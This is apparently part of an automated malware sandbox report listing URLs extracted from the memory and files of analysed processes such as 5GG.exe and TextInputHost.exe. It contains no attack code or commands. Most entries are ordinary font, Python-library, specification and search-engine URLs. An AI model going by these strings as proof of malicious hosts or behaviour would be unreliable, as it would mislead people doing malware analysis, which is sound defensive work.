Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 7.exe.1.dr	String found in binary or memory: http://www.linux-usb.org/usb.ids
Source: 7.exe.1.dr	String found in binary or memory: http://www.linux-usb.org/usb.idsArial
Source: 7.exe.1.dr	String found in binary or memory: http://www.nirsoft.net/
Source: 5GG.exe, 00000001.00000003.1669056144.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.privazer.com
Source: server.cpython-310.pyc0.1.dr	String found in binary or memory: http://www.rfc-editor.org/rfc/rfc%d.txtz(http://www.python.org/dev/peps/pep-%04d/
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: server.cpython-310.pyc0.1.dr	String found in binary or memory: http://www.xmlrpc.com/discuss/msgReader$1208
Source: server.cpython-310.pyc0.1.dr	String found in binary or memory: http://www.xmlrpc.com/discuss/msgReader$1208z
Source: TextInputHost.exe, 00000024.00000002.3051181409.000000001FCA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: server.cpython-310.pyc0.1.dr	String found in binary or memory: http://xmlrpc.usefulinc.com/doc/reserved.html
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/fonts.html
Source: 5GG.exe, 00000029.00000002.2888255978.000002ACF43CB000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://anzeljg.github.io/rin2/book2/2405/docs/tkinter/text.html
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://askubuntu.com/questions/697397/python3-is-not-supporting-gtk-module
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugs.python.org/issue44497.
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: _cffi_backend.cp310-win_amd64.pyd.1.dr	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 5GG.exe, 00000001.00000003.1740552534.00000145A1929000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://creativecommons.org/licenses/by-sa/3.0/)
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: 5GG.exe, 00000001.00000003.1672813106.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: 5GG.exe, 00000029.00000002.2891594278.000002ACF5330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dev.w3.org/html5/spec-LC/text-level-semantics.html#the-rp-element
Source: 5GG.exe, 00000029.00000002.2891334129.000002ACF50B0000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2891594278.000002ACF5330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dev.w3.org/html5/spec-LC/text-level-semantics.html#the-rt-element
Source: 5GG.exe, 00000001.00000003.1694423097.00000145A1928000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Connection
Source: METADATA.1.dr	String found in binary or memory: https://discord.com/invite/3nqXPFX)
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: TextInputHost.exe, 00000024.00000002.2913564667.0000000013F05000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014105000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014988000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013732000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.000000001476A000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014670000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015F7C000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015C59000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000147BC000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015989000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014921000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000015533000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000137CB000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000142C5000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000016014000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014565000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013E35000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000013B48000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014B06000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.0000000014636000.00000004.00000800.00020000.00000000.sdmp, TextInputHost.exe, 00000024.00000002.2913564667.00000000150F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/inbox
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4561000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/inboxr
Source: c_parser.py.1.dr	String found in binary or memory: https://eli.thegreenplace.net/
Source: 5GG.exe, 00000029.00000002.2893882659.000002ACF58F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://en.wikipedi
Source: 5GG.exe, 00000029.00000002.2893882659.000002ACF58F8000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://exiv2.org/tags.html)
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
Source: METADATA.1.dr	String found in binary or memory: https://github.com/ChrisKnott/Eel/tree/master/examples/01%20-%20hello_world)
Source: METADATA.1.dr	String found in binary or memory: https://github.com/ChrisKnott/Eel/tree/master/examples/01%20-%20hello_world-Edge)
Source: METADATA.1.dr	String found in binary or memory: https://github.com/ChrisKnott/Eel/tree/master/examples/04%20-%20file_access)
Source: METADATA.1.dr	String found in binary or memory: https://github.com/ChrisKnott/Eel/tree/master/examples/07%20-%20CreateReactApp/eel_CRA.py)
Source: GbrImagePlugin.py.1.dr	String found in binary or memory: https://github.com/GNOME/gimp/blob/mainline/devel-docs/gbr.txt
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Ousret/charset_normalizer
Source: 5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
Source: 5GG.exe, 00000029.00000002.2891206687.000002ACF4FA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/asweigart/pyperclip/issues/55
Source: METADATA.1.dr	String found in binary or memory: https://github.com/cztomczak/cefpython).
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/jaraco/jaraco.functools/issues/5
Source: 5GG.exe, 00000029.00000002.2887798517.000002ACF4110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/platformdirs/platformdirs
Source: __init__.py3.1.dr	String found in binary or memory: https://github.com/pyinstaller/pyinstaller-hooks-contrib
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging
Source: 5GG.exe, 00000029.00000002.2890674437.000002ACF4950000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging02d
Source: 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/packaging__path__
Source: 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/1024.
Source: 5GG.exe, 00000029.00000002.2890492844.000002ACF4740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/setuptools/issues/417#issuecomment-392298401
Source: 5GG.exe, 00000001.00000002.2884118725.00000145A1925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pypa/wheel/issues
Source: METADATA.1.dr	String found in binary or memory: https://github.com/python-eel/Eel
Source: 5GG.exe, 00000029.00000002.2890849974.000002ACF4B50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-pillow/Pillow/
Source: BmpImagePlugin.py.1.dr	String found in binary or memory: https://github.com/python-pillow/Pillow/issues/1293
Source: 5GG.exe, 00000029.00000002.2885715487.000002ACF37A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
Source: 5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
Source: 5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
Source: 5GG.exe, 00000029.00000002.2890585916.000002ACF4850000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/importlib_metadata/issues/396
Source: 5GG.exe, 00000029.00000002.2886172976.000002ACF38A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
Source: 5GG.exe, 00000029.00000002.2890762729.000002ACF4A50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
Source: 5GG.exe, 00000029.00000002.2891029241.000002ACF4D80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000003.2449581744.000002ACF4341000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: 5GG.exe, 00000029.00000002.2887149226.000002ACF3DF0000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail
Source: 5GG.exe, 00000029.00000002.2889231296.000002ACF4571000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://google.com/mail/
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF4655000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF46D7000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding
Source: 5GG.exe, 00000029.00000002.2889790968.000002ACF46D7000.00000004.00000020.00020000.00000000.sdmp, 5GG.exe, 00000029.00000002.2889790968.000002ACF4664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/multipage/parsing.html#parsing-with-a-known-character-encoding
